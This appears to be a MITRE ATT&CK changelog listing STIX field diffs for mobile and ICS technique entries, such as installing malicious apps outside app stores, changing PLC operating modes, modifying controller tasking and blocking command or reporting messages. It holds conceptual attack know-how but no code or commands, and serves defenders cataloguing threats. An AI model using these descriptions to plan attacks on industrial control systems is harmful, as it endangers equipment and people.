| x_mitre_detection | The device user can view a list of apps with Device Administrator privilege in the device settings. | Users can see when an app requests device administrator permissions. Users can also view which apps have device administrator permissions in the settings menu. |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Android DeviceAdminInfo', 'description': 'Google. (n.d.). DeviceAdminInfo. Retrieved November 20, 2020.', 'url': 'https://developer.android.com/reference/android/app/admin/DeviceAdminInfo'} |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Malicious applications are a common attack vector used by ad | t | 1 | Malicious applications are a common attack vector used by ad |
| > | versaries to gain a presence on mobile devices. This techniq | > | versaries to gain a presence on mobile devices. This techniq | ||
| > | ue describes installing a malicious application on targeted | > | ue describes installing a malicious application on targeted | ||
| > | mobile devices without involving an authorized app store (e. | > | mobile devices without involving an authorized app store (e. | ||
| > | g., Google Play Store or Apple App Store). Adversaries may w | > | g., Google Play Store or Apple App Store). Adversaries may w | ||
| > | ish to avoid placing malicious applications in an authorized | > | ish to avoid placing malicious applications in an authorized | ||
| > | app store due to increased potential risk of detection or o | > | app store due to increased potential risk of detection or o | ||
| > | ther reasons. However, mobile devices often are configured t | > | ther reasons. However, mobile devices often are configured t | ||
| > | o allow application installation only from an authorized app | > | o allow application installation only from an authorized app | ||
| > | store which would prevent this technique from working. Del | > | store which would prevent this technique from working. Del | ||
| > | ivery methods for the malicious application include: * [Spe | > | ivery methods for the malicious application include: * [Spe | ||
| > | arphishing Attachment](https://attack.mitre.org/techniques/T | > | arphishing Attachment](https://attack.mitre.org/techniques/T | ||
| > | 1193) - Including the mobile app package as an attachment to | > | 1566/001) - Including the mobile app package as an attachmen | ||
| > | an email message. * [Spearphishing Link](https://attack.mit | > | t to an email message. * [Spearphishing Link](https://attack | ||
| > | re.org/techniques/T1192) - Including a link to the mobile ap | > | .mitre.org/techniques/T1566/002) - Including a link to the m | ||
| > | p package within an email, text message (e.g. SMS, iMessage, | > | obile app package within an email, text message (e.g. SMS, i | ||
| > | Hangouts, WhatsApp, etc.), web site, QR code, or other mean | > | Message, Hangouts, WhatsApp, etc.), web site, QR code, or ot | ||
| > | s. * Third-Party App Store - Installed from a third-party ap | > | her means. * Third-Party App Store - Installed from a third- | ||
| > | p store (as opposed to an authorized app store that the devi | > | party app store (as opposed to an authorized app store that | ||
| > | ce implicitly trusts as part of its default behavior), which | > | the device implicitly trusts as part of its default behavior | ||
| > | may not apply the same level of scrutiny to apps as applied | > | ), which may not apply the same level of scrutiny to apps as | ||
| > | by an authorized app store.(Citation: IBTimes-ThirdParty)(C | > | applied by an authorized app store.(Citation: IBTimes-Third | ||
| > | itation: TrendMicro-RootingMalware)(Citation: TrendMicro-Fla | > | Party)(Citation: TrendMicro-RootingMalware)(Citation: TrendM | ||
| > | ppyBird) Some Android malware comes with functionality to i | > | icro-FlappyBird) Some Android malware comes with functional | ||
| > | nstall additional applications, either automatically or when | > | ity to install additional applications, either automatically | ||
| > | the adversary instructs it to.(Citation: android-trojan-ste | > | or when the adversary instructs it to.(Citation: android-tr | ||
| > | als-paypal-2fa) | > | ojan-steals-paypal-2fa) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-10-28 18:33:12.646000+00:00 | 2021-02-09 14:28:47.076000+00:00 |
| description | Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. Delivery methods for the malicious application include: * [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) - Including the mobile app package as an attachment to an email message. * [Spearphishing Link](https://attack.mitre.org/techniques/T1192) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means. * Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird) Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa) | Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. Delivery methods for the malicious application include: * [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message. * [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means. * Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird) Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa) |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 18:06:09.010000+00:00 | 2021-03-10 21:06:37.536000+00:00 |
| external_references[3]['url'] | https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/ | https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf |
Current version: 0.0
Description: Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.
Current version: 0.0
Description: Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. Many faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.
Current version: 0.0
Description: Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the “task”, Organization Block 1 (OB1).
Current version: 0.0
Description: Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.
Current version: 0.0
Description: Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: EAttack Native API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space.
Current version: 0.0
Description: Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software.
Current version: 0.0
Description: An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system’s operational role and model information can dictate whether it is a relevant target for the adversary’s operational objectives. In addition, the system’s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system’s API.
Current version: 0.0
Description: Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. Adversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted. In the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.
Current version: 0.0
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-13 12:02:26.506000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T800 | https://collaborate.mitre.org/attackics/index.php/Technique/T0800 |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may block a command message from reaching its in | t | 1 | Adversaries may block a command message from reaching its in |
| > | tended target to prevent command execution. In OT networks, | > | tended target to prevent command execution. In OT networks, | ||
| > | command messages are sent to provide instructions to control | > | command messages are sent to provide instructions to control | ||
| > | system devices. A blocked command message can inhibit respo | > | system devices. A blocked command message can inhibit respo | ||
| > | nse functions from correcting a disruption or unsafe conditi | > | nse functions from correcting a disruption or unsafe conditi | ||
| > | on. (Citation: Research - Research - Taxonomy Cyber Attacks | > | on.(Citation: Research - Research - Taxonomy Cyber Attacks o | ||
| > | on SCADA) In the 2015 attack on the Ukranian power grid, ma | > | n SCADA)(Citation: Ukraine15 - EISAC - 201603) | ||
| > | licious firmware was used to render communication devices in | ||||
| > | operable and effectively prevent them from receiving remote | ||||
| > | command messages. (Citation: Ukraine15 - EISAC - 201603) | ||||
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively prevent them from receiving remote command messages. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T803 | https://collaborate.mitre.org/attackics/index.php/Technique/T0803 |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may block or prevent a reporting message from re | t | 1 | Adversaries may block or prevent a reporting message from re |
| > | aching its intended target. Reporting messages relay the sta | > | aching its intended target. In control systems, reporting me | ||
| > | tus of control system devices, which can include event log d | > | ssages contain telemetry data (e.g., I/O values) pertaining | ||
| > | ata and I/O values of the associated device. By blocking the | > | to the current state of equipment and the industrial process | ||
| > | se reporting messages, an adversary can potentially hide the | > | . By blocking these reporting messages, an adversary can pot | ||
| > | ir actions from an operator. Blocking reporting messages in | > | entially hide their actions from an operator. Blocking repor | ||
| > | control systems that manage physical processes may contribu | > | ting messages in control systems that manage physical proces | ||
| > | te to system impact, causing inhibition of a response functi | > | ses may contribute to system impact, causing inhibition of a | ||
| > | on. A control system may not be able to respond in a proper | > | response function. A control system may not be able to resp | ||
| > | or timely manner to an event, such as a dangerous fault, if | > | ond in a proper or timely manner to an event, such as a dang | ||
| > | its corresponding reporting message is blocked. (Citation: R | > | erous fault, if its corresponding reporting message is block | ||
| > | esearch - Research - Taxonomy Cyber Attacks on SCADA) In th | > | ed.(Citation: Research - Research - Taxonomy Cyber Attacks o | ||
| > | e 2015 attack on the Ukranian power grid, malicious firmware | > | n SCADA)(Citation: Ukraine15 - EISAC - 201603) | ||
| > | was used to render communication devices inoperable and eff | ||||
| > | ectively block messages from being reported. (Citation: Ukra | ||||
| > | ine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may block or prevent a reporting message from reaching its intended target. Reporting messages relay the status of control system devices, which can include event log data and I/O values of the associated device. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively block messages from being reported. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T804 | https://collaborate.mitre.org/attackics/index.php/Technique/T0804 |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may place controllers into an alternate mode of | t | 1 | Adversaries Adversaries may change the operating mode of a c |
| > | operation to enable configuration setting changes for evasiv | > | ontroller to gain additional access to engineering functions | ||
| > | e code execution or to inhibit device functionality. Program | > | such as Program Download. Programmable controllers typicall | ||
| > | mable controllers typically have several modes of operation. | > | y have several modes of operation that control the state of | ||
| > | These modes can be broken down into three main categories: | > | the user program and control access to the controller’s API. | ||
| > | program run, program edit, and program write. Each of these | > | Operating modes can be physically selected using a key swit | ||
| > | modes puts the device in a state in which certain functions | > | ch on the face of the controller but may also be selected wi | ||
| > | are available. For instance, the program edit mode allows | > | th calls to the controller’s API. Operating modes and the me | ||
| > | alterations to be made to the user program while the device | > | chanisms by which they are selected often vary by vendor and | ||
| > | is still online. By driving a device int | > | product line. Some commonly implemented operating modes are | ||
| > | o an alternate mode of operation, an adversary has the abili | > | described below: Program - This mode must be enabled before | ||
| > | ty to change configuration settings in such a way to cause a | > | changes can be made to a device’s program. This allows prog | ||
| > | Impact to equipment and/or industrial process associated wi | > | ram uploads and downloads between the device and an engineer | ||
| > | th the targeted device. An adversary may also use this alter | > | ing workstation. Often the PLC’s logic Is halted, and all ou | ||
| > | nate mode to execute arbitrary code which could be used to e | > | tputs may be forced off.(Citation: Forum Automation PLC Oper | ||
| > | vade defenses. | > | ating Modes October 2017) Run - Execution of the device’s pr | ||
| > | ogram occurs in this mode. Input and output (values, points, | ||||
| > | tags, elements, etc.) are monitored and used according to t | ||||
| > | he program’s logic. Program Upload and Program Download are | ||||
| > | disabled while in this mode.(Citation: Omrom PLC Different O | ||||
| > | perating Modes)(Citation: Machine Information Systems How PL | ||||
| > | Cs Work 2007)(Citation: Forum Automation PLC Operating Modes | ||||
| > | October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - | ||||
| > | Allows for remote changes to a PLC’s operation mode.(Citatio | ||||
| > | n: PLCgurus PLC Basics 2021) Stop - The PLC and program is s | ||||
| > | topped, while in this mode, outputs are forced off.(Citation | ||||
| > | : Machine Information Systems How PLCs Work 2007) Reset - Co | ||||
| > | nditions on the PLC are reset to their original states. Warm | ||||
| > | resets may retain some memory while cold resets will reset | ||||
| > | all I/O and data registers.(Citation: Machine Information Sy | ||||
| > | stems How PLCs Work 2007)Test / Monitor mode - Similar to ru | ||||
| > | n mode, I/O is processed, although this mode allows for moni | ||||
| > | toring, force set, resets, and more generally tuning or debu | ||||
| > | gging of the system. Often monitor mode may be used as a tri | ||||
| > | al for initialization.(Citation: Omrom PLC Different Operati | ||||
| > | ng Modes) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-13 11:42:26.506000+00:00 |
| name | Utilize/Change Operating Mode | Change Operating Mode |
| description | Adversaries may place controllers into an alternate mode of operation to enable configuration setting changes for evasive code execution or to inhibit device functionality. Programmable controllers typically have several modes of operation. These modes can be broken down into three main categories: program run, program edit, and program write. Each of these modes puts the device in a state in which certain functions are available. For instance, the program edit mode allows alterations to be made to the user program while the device is still online. By driving a device into an alternate mode of operation, an adversary has the ability to change configuration settings in such a way to cause a Impact to equipment and/or industrial process associated with the targeted device. An adversary may also use this alternate mode to execute arbitrary code which could be used to evade defenses. | Adversaries Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controller’s API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controller’s API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off.(Citation: Forum Automation PLC Operating Modes October 2017) Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode.(Citation: Omrom PLC Different Operating Modes)(Citation: Machine Information Systems How PLCs Work 2007)(Citation: Forum Automation PLC Operating Modes October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - Allows for remote changes to a PLC’s operation mode.(Citation: PLCgurus PLC Basics 2021) Stop - The PLC and program is stopped, while in this mode, outputs are forced off.(Citation: Machine Information Systems How PLCs Work 2007) Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.(Citation: Machine Information Systems How PLCs Work 2007)Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.(Citation: Omrom PLC Different Operating Modes) |
| kill_chain_phases[0]['phase_name'] | evasion-ics | execution-ics |
| kill_chain_phases[1]['phase_name'] | inhibit-response-function | evasion-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T858 | https://collaborate.mitre.org/attackics/index.php/Technique/T0858 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Forum Automation PLC Operating Modes October 2017', 'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'} | |
| external_references | {'source_name': 'Omrom PLC Different Operating Modes', 'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'} | |
| external_references | {'source_name': 'Machine Information Systems How PLCs Work 2007', 'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} | |
| external_references | {'source_name': 'PLCgurus PLC Basics 2021', 'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target and collect data from information rep | t | 1 | Adversaries may target and collect data from information rep |
| > | ositories. This can include sensitive data such as specifica | > | ositories. This can include sensitive data such as specifica | ||
| > | tions, schematics, or diagrams of control system layouts, de | > | tions, schematics, or diagrams of control system layouts, de | ||
| > | vices, and processes. Examples of target information reposit | > | vices, and processes. Examples of information repositories i | ||
| > | ories include reference databases and local machines on the | > | nclude reference databases or local machines in the process | ||
| > | process environment. | > | environment, as well as workstations and databases in the co | ||
| > | rporate network that might contain information about the ICS | ||||
| > | . Information collected from these systems may provide the a | ||||
| > | dversary with a better understanding of the operational envi | ||||
| > | ronment, vendors used, processes, or procedures of the ICS. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-12 16:35:26.506000+00:00 |
| description | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of target information repositories include reference databases and local machines on the process environment. | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T811 | https://collaborate.mitre.org/attackics/index.php/Technique/T0811 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause a denial of control to temporarily pre | t | 1 | Adversaries may cause a denial of control to temporarily pre |
| > | vent operators and engineers from interacting with process c | > | vent operators and engineers from interacting with process c | ||
| > | ontrols. An adversary may attempt to deny process control ac | > | ontrols. An adversary may attempt to deny process control ac | ||
| > | cess to cause a temporary loss of communication with the con | > | cess to cause a temporary loss of communication with the con | ||
| > | trol device or to prevent operator adjustment of process con | > | trol device or to prevent operator adjustment of process con | ||
| > | trols. An affected process may still be operating during the | > | trols. An affected process may still be operating during the | ||
| > | period of control loss, but not necessarily in a desired st | > | period of control loss, but not necessarily in a desired st | ||
| > | ate. (Citation: Reference - Corero) (Citation: Reference - S | > | ate. (Citation: Reference - Corero) (Citation: Reference - S | ||
| > | ANS - 201510) (Citation: Reference - RIoT) In the Maroochy | > | ANS - 201510) (Citation: Reference - RIoT) In the Maroochy | ||
| > | attack, the adversary was able to temporarily shut an invest | > | attack, the adversary was able to temporarily shut an invest | ||
| > | igator out of the network preventing them from issuing any c | > | igator out of the network preventing them from issuing any c | ||
| > | ontrols. | > | ontrols. In the 2017 Dallas Siren incident operators were un | ||
| > | able to disable the false alarms from the Office of Emergenc | ||||
| > | y Management headquarters. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-21 16:29:26.506000+00:00 |
| description | Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. | Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. In the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters. |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather information about the current operati | t | 1 | Adversaries may gather information about a PLC’s or controll |
| > | ng state of a PLC. CPU operating modes are often controlled | > | er’s current operating mode. Operating modes dictate what ch | ||
| > | by a key switch on the PLC. Example states may be run, prog, | > | ange or maintenance functions can be manipulated and are oft | ||
| > | stop, remote, and invalid. Knowledge of these states may be | > | en controlled by a key switch on the PLC (e.g., run, prog [p | ||
| > | valuable to an adversary to determine if they are able to r | > | rogram], and remote). Knowledge of these states may be valua | ||
| > | eprogram the PLC. | > | ble to an adversary to determine if they are able to reprogr | ||
| > | am the PLC. Operating modes and the mechanisms by which they | ||||
| > | are selected often vary by vendor and product line. Some co | ||||
| > | mmonly implemented operating modes are described below: Prog | ||||
| > | ram - This mode must be enabled before changes can be made t | ||||
| > | o a device’s program. This allows program uploads and downlo | ||||
| > | ads between the device and an engineering workstation. Often | ||||
| > | the PLC’s logic Is halted, and all outputs may be forced of | ||||
| > | f. Run - Execution of the device’s program occurs in this mo | ||||
| > | de. Input and output (values, points, tags, elements, etc.) | ||||
| > | are monitored and used according to the program’s logic. Pro | ||||
| > | gram Upload and Program Download are disabled while in this | ||||
| > | mode. Remote - Allows for remote changes to a PLC’s operatio | ||||
| > | n mode. Stop - The PLC and program is stopped, while in this | ||||
| > | mode, outputs are forced off. Reset - Conditions on the PLC | ||||
| > | are reset to their original states. Warm resets may retain | ||||
| > | some memory while cold resets will reset all I/O and data re | ||||
| > | gisters. Test / Monitor mode - Similar to run mode, I/O is p | ||||
| > | rocessed, although this mode allows for monitoring, force se | ||||
| > | t, resets, and more generally tuning or debugging of the sys | ||||
| > | tem. Often monitor mode may be used as a trial for initializ | ||||
| > | ation. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-04-13 11:39:26.506000+00:00 |
| description | Adversaries may gather information about the current operating state of a PLC. CPU operating modes are often controlled by a key switch on the PLC. Example states may be run, prog, stop, remote, and invalid. Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. | Adversaries may gather information about a PLC’s or controller’s current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off. Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode. Remote - Allows for remote changes to a PLC’s operation mode. Stop - The PLC and program is stopped, while in this mode, outputs are forced off. Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T868 | https://collaborate.mitre.org/attackics/index.php/Technique/T0868 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ForumAutomation PLC Operating Modes October 2017', 'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'} | |
| external_references | {'source_name': 'Omron PLC Operating Modes', 'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'} | |
| external_references | {'source_name': 'Machine Information Systems PLCs 2007', 'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} | |
